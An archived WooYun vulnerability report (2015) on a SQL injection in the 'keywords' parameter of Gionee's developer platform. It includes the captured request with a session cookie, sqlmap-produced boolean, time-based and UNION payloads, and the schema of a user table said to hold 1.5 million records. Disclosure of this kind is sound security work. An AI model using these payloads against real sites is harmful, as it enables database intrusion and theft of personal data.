当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0151295

漏洞标题：金立某站root权限注入（涉及150W用户信息）

相关厂商：gionee.com

漏洞作者： 路人甲

提交时间：2015-11-02 16:30

修复时间：2015-12-17 17:30

公开时间：2015-12-17 17:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-02： 细节已通知厂商并且等待厂商处理中
2015-11-02： 厂商已经确认，细节仅向厂商公开
2015-11-12： 细节向核心白帽子及相关领域专家公开
2015-11-22： 细节向普通白帽子公开
2015-12-02： 细节向实习白帽子公开
2015-12-17： 细节向公众公开

简要描述：

RT

详细说明：

漏洞系统：金立开发者平台
漏洞地址：

0.png


</codGET /application?keywords=%E5%A6%82%E5%BD%B1&status= HTTP/1.1
Host: dev.anzhuoapk.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36
Referer: http://dev.anzhuoapk.com/application
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=schun19uqoup3m2o8g0f9nm2l6; Hm_lvt_eac5031a4265d98af4563220293c8e47=1446174018,1446174210,1446175352,1446451177; Hm_lpvt_eac5031a4265d98af4563220293c8e47=1446451190


keywords参数存在注入

---
Parameter: keywords (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: keywords=%E5%A6%82%E5%BD%B1%E9%9A%8F%E5%BD%A2%' AND 4031=4031 AND '
%'='&status=
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: keywords=%E5%A6%82%E5%BD%B1%E9%9A%8F%E5%BD%A2%' AND (SELECT * FROM
(SELECT(SLEEP(5)))aeuV) AND '%'='&status=
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: keywords=%E5%A6%82%E5%BD%B1%E9%9A%8F%E5%BD%A2%' UNION ALL SELECT NU
LL,NULL,NULL,CONCAT(0x71707a6271,0x7a5948426a714447456f7566745244524350524750766
b55434a494c4576495567427756686c4561,0x716a767a71),NULL,NULL,NULL-- &status=
---
[16:02:18] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.16
back-end DBMS: MySQL 5.0.12

漏洞证明：

数据库：

数据库.png


DBA权限：

DBA.png


150W用户信息

150.png


Database: aorausermanagerdb
Table: aouserlistinfo
[9 columns]
+--------------+--------------+
| Column       | Type         |
+--------------+--------------+
| Answer1      | varchar(100) |
| Answer2      | varchar(100) |
| Birthday     | date         |
| Email        | varchar(100) |
| Id           | int(11)      |
| Problem1Type | int(11)      |
| Problem2Type | int(11)      |
| Sex          | char(1)      |
| UserID       | int(11)      |
+--------------+--------------+

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-11-02 17:28

厂商回复：

感谢对金立安全作出的贡献

最新状态：

暂无

漏洞评价：

评论